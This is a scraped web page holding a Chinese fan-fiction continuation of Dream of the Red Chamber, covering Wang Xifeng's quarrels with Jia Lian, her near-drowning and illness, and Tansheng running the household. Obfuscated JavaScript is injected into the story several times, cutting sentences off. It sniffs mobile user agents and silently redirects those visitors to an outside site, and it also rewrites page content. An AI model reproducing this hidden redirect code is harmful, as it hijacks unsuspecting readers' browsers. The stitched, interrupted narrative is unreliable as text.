因黛玉年岁也不小了,再不好和宝玉一样与贾母住在一处。贾母便让王夫人将黛玉与三春姐妹安置到一处,都住在王夫人正房后的抱厦中。 宝钗在梨香院,旁边有一夹道,出来便是王夫人正房,宝钗与姐妹们相聚也很便利,每日读书下棋,研究刊物文章,也是忙忙碌碌,许多欢乐。 王夫人自回京便发现王熙凤眉宇间不少愁绪,待派人打听过,才知道是贾琏新娶了两房妾室。之前为了此事,夫妻二人还闹过一次,那次幸而有贾母与尤氏及时阻拦,不然更不好收场。 王夫人既知道此事,虽然连日事忙,难免心疼侄女,要对她宽慰一番。便在晚上王熙凤向她说完事情之后,将她留了下来,并让服侍的人都退下了,只留了平儿。 “心事总是憋在心里怎么行呢,有什么不能和我说的吗?”王夫人柔声道。 “太太,我···”王熙凤连日来心里无限苦楚,除了私下里对平儿倾诉,哪里敢对长辈们说呢? “别着急,慢慢说,若有什么事,有我在呢!”王夫人将王熙凤半揽到怀里,轻拍着她脊背,抚慰道。 王熙凤渐渐冷静了下来,便道“琏二爷成日里正事不干,却总惦记着和我拿钱,拿了钱便出去玩,这还倒罢了,前些日子他带了两个姑娘来,说要纳妾。 我便问是否告诉老太太了,二爷就说让我主动和老太太提这件事,显得我贤良。我也答应下来了,带去给老太太看了,自然满意。只是刚轿子抬到府里没几天,那个吴姨娘突然病了,大夫一看便说是怀上了。” 王熙凤顿了顿又道“这也是好事,我便叮嘱大夫好生照看着,毕竟是二爷的第一个孩子。可谁承想,没过半个月,孩子却掉了,二爷便埋怨我,说是我故意要害吴姨娘和孩子。” “我纵有多少委屈说出来,二爷也是不信,偏闹到老太太和大太太那里!”王熙凤说到这里,落了几滴泪,再不能说下去。 王夫人将王熙凤搂到怀里安慰着,便看平儿。 平儿聪慧,立刻接话道“老太太和大太太便将为吴姨娘看病的大夫找了过来,大夫说是孩子本来不稳,二爷却又不节制···孩子才掉了,与二奶奶并无关系。老太太和大太太听罢,便将二爷斥责了几句,让他再也不要错怪二奶奶了。” “只是二爷仍心气不顺,日日喝得醉醺醺的要与二奶奶吵架,二奶奶家事也忙,心里又积了气,这才闷闷不乐的,还病了一场,这几日病才稍好些···”平儿说罢,便倒了两杯茶,端到了王夫人旁边的炕桌上。 王夫人听罢来龙去脉,心里也很复杂,长叹了一口气,纵使犹豫,也只能劝王熙凤想开些,与贾琏和好。 王夫人犹豫道“孩子,世人打小都是这么过来的,哪个男人不多情呢?咱们做女人的除了体谅还能怎样?要我看···” 尤未说完,就被王熙凤打断,她哭诉道“姑妈,我再也忍不下去了!” 51.等闲却变故人心 王夫人听了王熙凤如此果断的一句话,心里猛地一颤,但口中仍是劝道“又胡说了,年轻夫妻哪个不是这样过来的,纵然有一些口角,也不至于像你说的这样!” 王熙凤抹了眼泪,轻声道“太太劝我忍耐,我只觉得再忍下去也没什么好结果···” 王夫人心中惊骇,只觉得这句话全然不像王熙凤能说得出来的,往日里她怎会心灰意冷至此?王夫人便看向了平儿。 平儿也劝王熙凤“奶奶,何苦折磨自己呢?往日里你与二爷不和,也不过是几天的事情,任意谁服个软也就罢了,怎么还说这样的话了呢?” 王熙凤却笑叹一声“也许是我一时糊涂了罢!太太就当没听到这些话。” 王夫人仍不放心,摇了摇头,轻声道“凤丫头,你若是有什么打算,不要藏在心里,姑姑总是疼你的···”一时间又将王熙凤搂在怀里,说一些体己话。 待王熙凤和平儿回了自己院子,主仆二人都是无话。 贾琏自然宿在了新娶的姨娘房里,王熙凤路过时听到他们欢笑,心里却无波澜。 平儿服侍王熙凤躺下,待要去到外间的榻上安置时,被王熙凤拉住了手臂“平儿,你今晚同我一起睡吧,我这几日总是做噩梦,睡不踏实。”平儿便答应了。 “平儿,金陵那边可有老爷太太的书信传来?”王熙凤问道。 平儿侧过身子看着王熙凤,回到“前几日奶奶才去信一封,哪有那么快的?” 王熙凤笑了笑,又道“老爷太太年纪大了,本来不该麻烦他们,只是我···” 平儿立刻明白其中必有故事,却不好问,便道“方才太太宽慰的话,奶奶总也要听进去一些啊!” 平儿说罢,又为王熙凤掖紧了被子,手臂半撑着身子看着王熙凤,柔声道“奶奶不要意气用事。” 王熙凤又笑道“你怎么又开始啰嗦了?” 平儿便躺了下来,说道“本来没有我说话的份,我也是不好劝的。只要奶奶心里知道我总是站在奶奶这边的,这就很好了。”王熙凤也没回答,只是闭上眼睛暗自思索。 主仆二人再也无话,各自睡去了。 次日一早,贾琏却来王熙凤屋里用早饭。 “稀客啊!”王熙凤冷笑道。 贾琏听了也不恼,亲自为王熙凤布菜,本以为少不了再说些甜言蜜语才能得到她的好脸子,没想到王熙凤却笑盈盈吃了。 贾琏自然高兴,笑道“这样才是夫妻间的样子!”又唤平儿来倒酒。 王熙凤却起身接过了酒壶,笑道“不如我来服侍二爷。”说罢倒了一杯酒端到贾琏面前。 贾琏却并没有伸手来接,就着王熙凤的手将杯中酒喝了个干净。 贾琏笑道“二奶奶服侍我,我必然要给面子。” 王熙凤听罢略眯了眼睛,又为他倒了一杯,故意劝道“二爷少喝点,万一青天白日就喝醉了,反而怪我了。” 贾琏仍是笑着一饮而尽。 二人用完早饭,贾琏本还想再腻歪一会儿,就要将王熙凤拉到床上去。 贾琏宿醉未醒,刚才又喝了不少,此时酒意上来,脸不住在王熙凤身上蹭来蹭去。 “二爷不如先睡,我还要去太太那里回事呢!”王熙凤笑道。贾琏也无可奈何,只好又去姨娘屋里睡觉了。 “走,先去老太太屋里。”王熙凤吩咐平儿道。 此时贾母处,挤挤挨挨地站了一屋子人。原来是王熙凤的生辰快到了,贾母想了个众人凑份子为王熙凤过生日的法子。 待王熙凤到时,众人的份子钱已经收了个七七八八。 “凤丫头来得巧!快过来!”贾母一见王熙凤进来,便说道。 尤氏也在贾母身侧站着,笑着说道“老祖宗要为凤丫头过生日,却让我们大家凑钱,又把事情交给我来办,老祖宗太也偏心!” 这本是玩笑话,自然引得满堂人笑个不停。 贾母笑道“凤丫头成日里伺候咱们,总不得空,待生日那天好好受用一天,也是你这个做嫂子的心意!” 尤氏便也附和“老祖宗既然吩咐了,我定要将这寿宴办得越体面越好!” “凤丫头你只管过寿吧!”尤氏说罢,还在王熙凤额头轻轻戳了一下。 王熙凤本是满腹心事地过来,看到妯娌长辈们却为了她的生日大费周章,心情也很复杂。就笑道“倒是麻烦老太太与太太们,也辛苦大嫂子了!” “瞧她!难得说句好听话,我只希望凤丫头把这些话都攒起来,留着生日那天再说给我们听呢!”尤氏一句话又引得众人笑个不停。 王夫人本是暗中留心着王熙凤神情,看到她言谈举止间并无怪异,也仍是欢笑如常,就略放了心,又想着一会儿叫来平儿再问问清楚。 这边长辈们说笑着,宝玉和探春偷偷过来,将王熙凤拉到了宝玉屋里。 “你们这些小鬼头,找我有什么事情?”王熙凤笑着坐下。 探春早准备了茶盏,捧到王熙凤面前“凤姐姐先喝茶。” 王熙凤却并不接过来,笑道“我怕你们有事求我,到时办不来就不好了。” 宝玉又笑“哪有什么事情,凤姐姐过生日,我们自然也想略表心意。”王熙凤哪里会相信宝玉的话,只是笑着摇摇头,并不搭话。 黛玉见状,走到王熙凤身边,笑道“凤姐姐,我们有事找你帮忙。” 王熙凤一副果然如此的表情,笑看众人。 黛玉又道“我们姐妹几个在扬州时有一个书坊,并且出了一本书刊。如今到了京城,想要找铺子另开一间,却有些困难。” 探春也补充道“在扬州时,那书坊也略有盈利,一直是宝姐姐打理的。这些日子宝姐姐四处找了找,却没有合适的铺面,听说凤姐姐手里有几个铺子,地段又好,又靠近京北书院,很适合我们做书坊呢!” 王熙凤听罢笑了笑,并没有着急回答。 宝玉忙道“我们就想,不如卖个情面,求凤姐姐卖给我们,只是不会让姐姐吃亏的!” 王熙凤点了一下宝玉额头,笑道“你知道那铺子值多少钱吗?”她是料定宝玉并不清楚这些事,才故意这样问道。 宝玉自然答不上来,又看宝钗。宝钗笑了笑,便道“好的铺子不能以银钱衡量价值。” 王熙凤听了这句话自然高兴,她本意也不想为难她们,不过是一个铺子,弟弟弟妹们喜欢,白送也无所谓。她自有办法补回来这个损失。 便笑道“你们既然喜欢,直接拿去就好了,哪里用费这么多力气?”便就要叫平儿过去拿房契。 宝钗忙道“如何能让凤姐姐白白让出来呢?我们几个商量过了,应当出钱买下来。只是书坊也没赚多少钱,因此现在只能拿出三千两银子给姐姐,希望姐姐不要嫌弃。” 探春和黛玉也道“凤姐姐你就收下吧,不然我们也不好意思白要了去!” 王熙凤听到她们这样一说,心里却另外有了想法,便道“我也不要你们的钱···” 众人听了,都有些着急,齐齐看着王熙凤。 “不如这铺子就算我入一份子吧,如何呢?”王熙凤看向宝钗。 宝钗轻笑了一下,又看着姐妹们。 “哪有什么不可以的?迎春姐姐与惜春妹妹也都入了一份呢!”宝玉笑道。 “你们个个有份,却独独忘了我!”王熙凤玩笑道。 宝钗和黛玉探春对视一眼,便互晓心意。宝钗道“就听凤姐姐的。我们现有七个人,再加入凤姐姐一个,就是八个了。” “还有湘云姐姐那份也要留着呢!”探春笑道。 宝钗也是笑着点头。这个书坊一开始就是为姐妹们所办,既是想让众人的才华有施展的地方,也是为姐妹们赚些钱。 只是王熙凤却要参与,这并不是宝钗提前想到的。书坊盈利并不很多,这不应该是王熙凤能看得上的生意。宝钗疑惑之余也没有多想。 有王熙凤的帮忙,书坊顺利在京城落脚,她们的第三期很快就刊印出来,在店里售卖了。 因为与书院相近,有不少学子来店里购买书籍和纸笔用具,有人看到了文苑笔谈觉得有趣,便买回去看。一时间,她们的笔谈倒在京北书院附近略有名气了。 王夫人因担心王熙凤与贾琏的事情,就不时叫来平儿详细了解。只是平儿所说都是寻常事,王熙凤并无任何异常的举动,而且他们夫妻近日来感情却好了不少,大约没什么事情了。 王夫人并不放心,又将这事告诉了贾政。 贾政自然知晓王熙凤是何等骄傲性格,只是他也拿捏不住王熙凤的后续反应。 贾政便道“我也猜不准。只是琏儿虽然在外面做事还算周全,但在私事上却和大哥那样荒唐。凤丫头与琏儿的性子也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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平儿见状,连忙扶着王熙凤,又与贾母和太太们说明情况,二人便退了席。 “奶奶也太实在了,每杯酒略喝一点,再不济便叫我过去替你,何苦喝成这样?”平儿心疼道。 王熙凤笑了笑,便道“她们真心待我,我不过喝一杯酒就能让她们开怀,何必又瞻前顾后的呢?” “话是这样说,只是奶奶喝得这样醉,明日又要头疼了。”平儿又道。王熙凤摇了摇头,没说什么。 待走到王熙凤院子的夹道,远远就看到一个小丫鬟在院门口坐着。小丫鬟一看到王熙凤与平儿过来就跑了。 王熙凤忙喊了一声,叫住了小丫鬟。 小丫鬟很是害怕这位二奶奶的手段,还没有被逼问几句,就说明了情况。原来是贾琏在屋里与人私会,让她在这里望风。 王熙凤听罢,只是苦笑。不过刚娶了两个姨娘,如今又趁她生日与人私会了?这样的日子一眼望到底,还有什么好忍耐的? 只是她面上仍很气愤,平儿不忘劝慰,王熙凤全然没有细听,只盘算着心里的事。 主仆二人悄声走到窗边,便听到贾琏正与一妇人说话。除了淫辞艳语,还不忘骂她。 “什么时候你那阎王老婆死了就好了。”妇人道。 贾琏笑道“她死了再娶一个也是一样的。” 王熙凤听了这话便觉怒气再也控制不住,破口骂道“你偷女人,还背地里算计我!” 骂完一脚踹开了房门,指着贾琏与床上妇人道“你们奸夫□□背地里偷情,还商量着害我,我纵然死了,你们就有好结果了?”说罢,又将地上的衣服扔在他们身上,和这二人扭打起来。 贾琏也因吃多了酒,更不喜王熙凤如此霸道的样子,骂道“哪有做媳妇的反来管男人的事情?你竟然还要打人?”说罢,就要上来打王熙凤。 幸好有平儿拉扯着贾琏,王熙凤便跑了出来。贾琏早已挣脱开平儿,就在后面追了上来。 待快到贾母处时,王熙凤回头看了一眼贾琏走到何处,不料脚下踩空,跌进了水潭。 正好宝玉眼尖,看到有人落水,忙喊道“有人落水了!快救人!”众姐妹们本来看着戏,也都赶过去救人。屋里众人也都听到宝玉叫喊,纷纷出了屋子。 “怎么回事?”贾母问道。 尤氏早已看到水潭边掉落的一只绣花鞋,那还是她送给王熙凤的,哭道“凤丫头落水了!” 52.却道故人心易变 旁边两个会水的健壮婆子听见有人落水,立即跳了进去。四手打捞下,幸而将王熙凤救了上来,只是她已呛了许多水。 探春立刻想到了在书院中宴先生教过如何救治溺水的人。此时哪敢耽误,探春立刻蹲到王熙凤身前,也顾不上有人没人。 探春两手交叠在王熙凤胸口处按压,使劲按压了二三十下,王熙凤终于吐出一口水,众人才略略放了心。 王夫人又忙让丫鬟们就近将王熙凤抬到贾母这边的屋子,又让人去找太医。 贾琏见王熙凤落水,立刻酒醒了大半,只害怕出事,自己又要挨贾母的骂,早就溜了。 “好好为凤丫头过个生日,怎么偏闹成这个样子?”贾母怒道“平儿你是怎么伺候你奶奶的?” 平儿本来正坐在王熙凤身侧垂泪,听到贾母指责,忙说明了事情经过。 贾母听罢,气得拍了一下桌子,怒道“琏儿越发反了!哪里还有一点世家公子的样子!和外人辖制他媳妇儿,如今凤丫头这个样子还不知道治不治的好?他却没影儿了!” 邢夫人见贾母生气,忙道“老太太莫生气,我这就吩咐人叫他过来!” 贾母点头应了,邢夫人就带人去找贾琏,并将这事报给了贾赦。 常太医过来后细细看罢,宽慰道“老太太请放心,二奶奶只是呛了水,很快就能醒过来了。再修养几日便没有大碍了。” 众人听罢,这才放了心,又让丫鬟快去煎药。 王熙凤又过了一个时辰便醒来了。当时身边只有王夫人尤氏与平儿陪着。王熙凤刚一睁眼,平儿的眼泪就止不住,哭道“奶奶你终于醒了···” 尤氏同样着急道“可觉得有哪里不舒服吗?”王熙凤轻轻摇了摇头,再说不出话来。 王夫人摸摸王熙凤额头,安慰道“好好歇着,太医说你着了凉,也许要发热呢!” 王熙凤又要对王夫人说些什么却被打断了,王夫人柔声道“外面的事你不要担心,你只管养好病,待你好起来再说。” 叮嘱罢,王夫人又让平儿给王熙凤喂药。待王熙凤用了药又睡下,王夫人便没有再守着了。尤氏与王熙凤亲厚,就与平儿一直在跟前守着。 王夫人又去贾母屋里看了看,刚到门口,就听到里面很是吵闹。她犹豫片刻,还是掀帘走了进去。 原来是贾琏正和邢夫人犟嘴。邢夫人与丫鬟们找到贾琏时,他却在屋里又喝了许多酒,当时便醉醺醺的。邢夫人也不敢耽搁,让人带着他就去贾母处。 贾母已知晓前因后果,便指责了贾琏几句。贾琏因吃醉了酒,虽不敢顶撞贾母,却对邢夫人劝诫的话满不在乎,说道“太太此话越发纵容了她!” 邢夫人也怒道“你媳妇如今躺在那里人事不知,你竟然还说这种话?若不是你自己做了糊涂事,哪有如今的结果?老太太让你去看看凤丫头难道还错了不成?” 邢夫人之所以这样说,是因为贾母生气了,她做母亲的必须拿出个教训晚辈的样子出来。 贾琏反而并不回答。贾母见了,更是生气。 往常但凡有什么事情让贾母不高兴了,总有王熙凤来凑趣开解,贾母立刻就转悲为喜了。 只是如今王熙凤可怜兮兮地躺在床上,贾母便发现,自己很是缺不了这个一个能说会道的孙子媳妇。 王夫人忙道“老太太切勿动怒,保养身子才是紧要。琏儿和凤丫头吵架不过是小夫妻常有的事情,哪里能因为这事再将您气个好歹呢?” 鸳鸯也是一直出声劝慰贾母。贾母缓了好一会儿,才摸着心口,对贾琏道“你先去吧,等明日酒醒了,我再让你老子收拾你!” 贾琏听罢,反而害怕被父亲责骂,倒有些怯怯的,便退下了。 王夫人安慰道“凤丫头方才已经醒了,也吃了药,太医说只要今天夜里不发热,过几日就好了。” 贾母便放了心,只是仍有些气不过,骂道“凤丫头多好的媳妇,琏儿还不知足,若哪一日凤丫头真不在了,看他要去哪里哭去!” 邢夫人也劝慰道“孩子们不懂事,惹得老太太不自在了,我一会儿回去了便告诉大老爷,让老爷好好教导琏儿,保证琏儿再也不敢犯混的!” 贾母便道“你回去歇着吧,也不要让大老爷骂得太狠了,琏儿也小。”贾母自然清楚长子贾赦的性格,担心他将贾琏打重了,这才叮嘱道。 邢夫人便也告退了。 王夫人看到贾母神情疲倦,便道“老太太您先歇着,凤丫头那里有我和她大嫂子在,没什么可担心的。” 贾母摆摆手道“你也去吧,孩子们若是喜欢看戏就让唱完,我累了,要歇一会儿···” 外面的戏台早就撤了,孩子们看到王熙凤落水,担心还来不及,哪有心思看戏? 王夫人从贾母处离开,想了想,又去了姑娘们的院子。此时孩子们都聚在探春屋里,神情间也很是忧虑。因为担忧王熙凤,也顾不上玩闹,只是各自坐着着急。 探春一听到丫鬟报“太太来了”,忙迎了出去,挽着母亲进了屋子。 “舅妈,凤姐姐没事吧?”黛玉捧了杯茶端到王夫人面前,问道。 “刚才醒了过来,也吃过药了,应当没事了吧。”王夫人说罢,又喝了口茶。她自己也觉得疲惫,就在这里略微坐了一会儿,又叮嘱孩子们这几日乖巧些,不要闹腾,老太太正生气,她事情也忙,顾不上时时来看孩子们。 因怕担心晚间王熙凤发热,王夫人下午时便吩咐人将王熙凤带离了贾母处。 到了夜间,王熙凤果然发热了,额头滚烫,嘴里还不停说着胡话。守在床边的平儿很担心,忙忙派人告诉了王夫人。王夫人便立刻起身穿好衣服,又让人去找太医。 贾政听了也道“我与夫人同去,若有事情也好帮忙。”王夫人心里着急,也没说什么。夫妻二人就去了王熙凤处。 太医来了看过后,也只说是正常的,不用担心。平儿不停将浸过冷水的帕子贴在王熙凤额头上。贾政只是在外间守着,不好进去。虽然帮不上忙,也能做些安排下人的事情。 只是待天亮时,王熙凤虽不再发热,却仍不停说胡话。忽而又从床上猛地坐起,大喊着:“我要死!”喊罢,却像个好人一般跳到地上,手舞足蹈,胡叫乱喊起来! 丫鬟们虽很惊恐,仍及时将王熙凤控制住,将她扶到床上躺下。又恐她闹腾时伤了自己,王夫人便让丫鬟用棉布将王熙凤的手脚都轻轻绑起来。 里面闹了个不可开交,贾政也是着急,却又无可奈何。一般的头疼发热并不会有这种状况,王熙凤倒像是被什么巫术害的。贾政本不信这些东西,却也不敢全然排除这种可能。 贾政无法,只好派人去找大夫再去找巫婆道士,只怕漏了一处。很快天就大亮,贾府上下也便知道了王熙凤的事情。就有人谣传王熙凤是中了邪。 正好被探春姐妹们听到,探春断然喝道“背地里嚼舌根是什么道理!打量二奶奶病了便没人管你了吗!”探春立刻让丫鬟将这人直接带走,由王夫人处置。 她们姐妹刚到门口,就被贾政拦住了。贾政担心孩子们见了王熙凤反而既害怕又担心,便先说明了情况。探春也就将那个丫鬟的事情说了。 此时四处正乱,贾政先让人将这丫鬟看了起来,待之后再管教。另又狠狠敲打了一番各处办事的媳妇婆子们,让她们不可乱传。 借此机会,王夫人便吩咐了那些媳妇婆子们,府里事务暂由大奶奶李纨和三姑娘探春处理。这些人听了,虽不太服气李纨探春,却不敢显现。 陆续来了太医和外面请来的有名大夫,都只是摇头,说他们从没有见过这样病症。倒也来了几个巫婆道士,说了些胡话,贾政一听便不相信,打发他们走了。 王熙凤接连两日都是如此,时而闹腾一会儿,时而又只能躺着。到第三日上竟然眼看着气息越来越弱。 其间贾琏因为一点愧疚,来看过几次,也很着急,索性就在王熙凤跟前守着了。平儿见了贾琏并无好话,只是忙着照顾王熙凤。 四处正乱,却听到木鱼声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“太太别急,奶奶也许是病得糊涂了···”平儿忙宽慰道。 “平儿,金陵那边还没有来信吗?”王熙凤打断了平儿的话。 平儿听罢,忙从衣袖中拿出信件,说道“奶奶生日那天来的信,说已经在路上了,不过几日就能到京城了。” 王熙凤笑了笑,更显得面色苍白,她也没接过信来,又道“姑妈,我想回家与父母亲住几日。” 王夫人此时哪有不答应的,连连点头。“待你父母来了,你便回王府住些日子,也散散心。”又补充道“琏儿这几日也很是上心,忙着为你寻医问药的,你就不要再记挂那些事了···” 尤未说完,王熙凤便道“姑妈,我有些累了,想躺一会儿。”王夫人明白王熙凤此时心情,也没说什么,与平儿扶着王熙凤躺下。 此时贾琏却进来了。王夫人与尤氏见状,便出了屋子,单留着平儿在这里,他们夫妻也好说话。 “可好些了?”贾琏坐到床头,问道。王熙凤却扭过了身子,不想看他。 “生死都经历一遭了,怎么还记恨那些小事呢?”贾琏反笑道。 “二奶奶往日不是最大度了吗?”贾琏故意打趣。 王熙凤却道“我千日不好,总有一日好吧?你却与外人咒我去死···” 贾琏忙解释“不过是喝醉酒说的胡话罢了,你怎么还在意这个?”说罢,又将王熙凤身子扳了过来。 看到王熙凤不施粉黛却更有几分病西施的风流,贾琏便凑了脸过来在王熙凤身上蹭着。 “二爷,奶奶还病着呢···”平儿出言想阻拦贾琏。 贾琏抬起头笑了笑,又道“你有这么个衷心丫鬟,却很难得,你病了几日她就日夜伺候了几日···” “我不要你在我面前说平儿的好话,她好不好,我比你更要清楚!”王熙凤刚才虽很厌恶,只是体力不支,推拒不开贾琏,此时早已侧过身子,面墙而卧了。 贾琏便道“你先歇着,我晚上再来看你···” “所有酒话都是半真半假,将往日说不出口的借着酒劲全吐露出来···”王熙凤悠悠道。贾琏只以为她在说糊涂话,并不在意,便离开了。 贾琏走后,平儿便劝道“奶奶,你好不容死里逃生,何苦又想起那些事情呢?” 王熙凤只是叹了口气,说道“平儿,你与我一同回王府去吧,咱们···” 53.探春理事显才华 王熙凤那日清醒后所说的话,让王夫人惴惴不安。她觉得,自己最担心的事情可能要发生了。 她又想与贾政商议,只是想到了贾政那日所说的话,回味一会儿,自己心里却略安定了些。 王熙凤清醒后不到半个月,王子安夫妇就从金陵到了京城。他们到了京城后起初并不知晓情况,就先在王府住了下来。待次日才来贾府拜访。 王夫人面对兄嫂,自然将前些日子的事情都细细说了,才带他们去看王熙凤。 “我担心凤丫头因为琏儿的事有心结,哥哥嫂子一会儿也劝劝她。”王夫人又叮嘱兄嫂道。 王熙凤本来靠在床头,平儿给她喂药。忽听到下人通报,王家大老爷和太太来了。 平儿忙将王子安夫妇引了进来。王熙凤只看了父母一眼,却先落了泪。 “母亲···”王熙凤唤道。王子安夫人忙忙将女儿抱了个满怀,心疼的不住摩挲宽慰着。 王子安略略问了平儿一些事情,听罢也不觉得是大事,就放了心,又与夫人一同宽慰女儿。 王熙凤便说想回家里住几天,王子安夫妇也没有不同意的,王夫人提前已说过了这事,他们早有心理准备。便又禀明了贾母,说要带凤姐回家里住几天。 贾琏知道岳丈岳母来了,也前来拜见,只是王子安夫妇面上都是淡淡的。贾琏也不受这种委屈,不愿意在跟前凑趣,又听他们说要带王熙凤回家,贾琏很容易就同意了。 王熙凤走时,只带走了平儿和丰儿两个贴身丫鬟。王夫人心里担忧,又不好当着兄嫂的面叮嘱侄女,只好对平儿多嘱咐了几句。 王夫人悄声道“回了王府,要是你奶奶有什么事想不开的,或是你以为紧要的,最好派个人过来告诉我···”平儿很恭敬的应下了。 王熙凤回到王府里安置下来,才觉得松了一口气。又问平儿临行前别人叮嘱过什么。 平儿道“太太叮嘱了我一些话。另外老爷的小厮书文给了我一封信,说是老爷给奶奶的。”王熙凤听罢,忙拿过信来自己细细看了。 “我就说姑姑姑父总是满心疼我的···”王熙凤笑道。 “奶奶这话什么意思?”平儿疑惑问道。 王熙凤却故作神秘地笑了笑,又道“平儿,咱们自幼在金陵相伴着长大,以后不愁没有机会常回家乡了···" 因王熙凤病重,王夫人又要照顾病人又要打理内外事务,便觉得力不从心。 王熙凤虽然渐渐好了起来,但王夫人不想让王熙凤病中劳神,仍继续让李纨和探春管家,她自己专管交际应酬和伺候老太太。 即使少了许多事情,也很消耗精力。幸而黛玉和宝钗也能帮的上忙,因此自王熙凤生病后,家务事并不混乱,反而更有条理了。 此时李纨探春便在王夫人院里的一间厢房议事。王夫人又腾出一间屋子给孩子用,以便她们也想在旁边学习或是帮忙的。 王夫人自己若有时间了,也要在旁边坐着,或是亲身指点或是为媳妇女儿撑腰。 下人们本以为大奶奶李纨面慈心软,探春又是个年轻小姐,这两个管家定然很是宽松。 可探春这两年来总是在王夫人与薛姨妈跟前帮忙,早已学到了许多。更有王夫人亲自撑腰,管家的底气便很坚实。 宝钗和黛玉更不用说,在扬州时各自都是打理家中事务的,她们因担心探春受了欺负,日日都要在旁边陪着,出些主意。 迎春懦弱惜春幼小,虽不愿意牵扯到这些事情中,但多少也能学到一些。除了宝玉不喜欢俗事,但禁不住姐妹们苦劝,他自己便也不时来跟着看看。 大奶奶李纨性子平和,不喜与人争执。如今贾珠身体健康,儿子贾兰也渐渐长大,李纨一心满是丈夫儿子,本不想管家。 只是她是荣府的长孙媳妇,却不好推脱。幸而姐妹们也体谅她,并不拿琐事烦她,大部分探春都能处理,只偶尔王夫人不在,又有大事拿捏不准才来与李纨商议。 “三妹妹,凤姐姐回家那天可有说些什么吗?”宝玉想到这里突然问道。 探春摇了摇头,说道“我也问过母亲,只是母亲像有什么难言之隐,也没有与我细说。只说凤姐姐修养好了就回来了。” 因这里都是姐妹们在,宝钗也不避讳,轻声道“我想凤姐姐怕不会那么轻易回来的,也许必要二哥哥认错求情,才能彻底了结这件事。” 黛玉点点头,也道“凤姐姐生辰那日二哥哥闹得太过,我都为凤姐姐感到难过。又是落水又是重病,当时快把人吓死了···” “只怕二哥哥不是那么轻易认错的人···”迎春说道,她与贾琏是同父兄妹,对贾琏的脾性,她也更要了解。 “总是男人犯了错,最后受苦的却是女人,太不公平!”探春怒道。 宝钗便吩咐丫鬟们去门外看着,又让姐妹们声音小一点“这里毕竟是姨妈的院子,咱们也不知道那些下人底细,还是谨慎一点。” 众姐妹便觉无趣,再没说什么。 “在扬州的日子多么自在啊!”探春忽然叹道。 “咱们的诗社好久都没有办了,不如选个日子姐妹们玩一玩,再把湘云妹妹也请来?”宝钗看姐妹们情绪低沉,便建议道。 宝玉第一个附和“早应该将湘云妹妹请来,只是连日事忙,却把她忘了!” “既然如此,宝玉你快去求老太太!”黛玉笑着对宝玉说道。宝玉想了想,要与黛玉同去。黛玉无法,拉着迎春惜春也一同去了。 这两人刚走没一会儿,又有管家媳妇来报账支取银子。 一会儿李婆子进来,说道外面为姑娘采买东西的下人,手脚不干净。李纨便说“既查出来有问题,就将他撤了去,再换新的···” 那婆子听罢很是满意就要离开,探春却道“慢着,你说的那人是谁?又是如何手脚不干净的?” 李婆子立刻说道“就是赵姨奶奶的一个兄弟,他和外面商铺勾结,既吃回扣,买来的东西也用不成,他自己反而捞了两份钱。” 探春便道“小姐们用的东西品质不好这是确实,那么他吃回扣可有证据?” 李婆子立刻掏出了两页纸,上面记了一些账目。 探春看罢,又道“既然证据分明,理应将他撤了。只是先不着急安排新人,待我们商量好了,再告诉你们。” 刚处理完几宗事情,探春还来不及喝口茶,忽听得院里吵吵嚷嚷,还不待她叫人出去看看,赵姨娘就闯了进来。 “姑娘出去两年,越发厉害了,如今既管了事,何不也卖我几分面子呢?”赵姨娘说道。 只是探春起身后并不搭话,先问丫鬟道“方才外面吵什么呢?” 小丫鬟看了一眼赵姨娘,低声道“赵姨奶奶方才与李婆子吵架,说为何将赵舅老爷的差事撤了···” 赵姨娘自顾自坐了下来,李纨看她气愤,便端了杯茶过去,安慰了几句。 只是赵姨娘并不领情,反而又道“本以为姑娘如今管事,总能为赵家捞一些好处,怎么反而将亲舅舅的差事撤了?” 探春见赵姨娘此话不合道理,自己心里也有几分怒气,就道“姨娘说的又是什么话?我舅舅刚升任了九省检点,怎么又冒出来一个舅舅?” “瞧瞧!还没有攀上高枝,却不认根本了!”赵姨娘听罢气极了,站起身指着探春骂道。 探春强忍住心里的难过与生气,反问道“他做事不当,人家白纸黑字拿了证据来,我按例裁决了,姨娘何故说我做得不对?”宝钗也不好插话,便一直安慰着探春,让她不要太生气。 “我是按规矩做事,姨娘如果认为我做的不对,大可以去找老爷太太告状。”探春冷静下来又补充道。 赵姨娘听了,越发要闹,又骂道“算我白生养你一场!你也是空长了这几岁!” 探春强忍着眼泪,又要还口,宝钗却忙将她扶着坐下来,又倒了杯茶给她喝。 宝钗打圆场道“为人处事总要讲个道理,三姑娘这样正是秉公办事,这正合了贵府里百年流传下来的规矩,也是姨夫和姨妈再三叮嘱过的。” 赵姨娘虽不畏惧宝钗,却毕竟害怕贾政与王夫人,便缩了缩脖子,没有搭话。 宝钗又道“人无论处在什么样的位置上,总是要自尊自爱的。若自己不尊重,偏要往下流走,那更怨不得别人看轻。”宝钗也没有将话说得很重,只是想让赵姨娘听了道理,便不要捣乱了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047943|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谁知赵姨娘反道“姑娘又是哪里来的,反而管起我们的家事来了?” 探春再忍不住,怒道“宝姐姐是老爷和太太特意请来的!姨娘这样说难道是挑老爷太太的毛病吗?” 赵姨娘看到探春眼眶红红,用手指着自己骂,心里反而怯怯的。那会儿的一腔怒火很快也就散去了,不禁生出了几分后悔之意。 只是仍补了一句“我本也是白来一趟,谁让我是没脸面的主子,奴才说话间就撤我兄弟的差事,我却没个依仗···”低声说了这句话,赵姨娘便离开了。 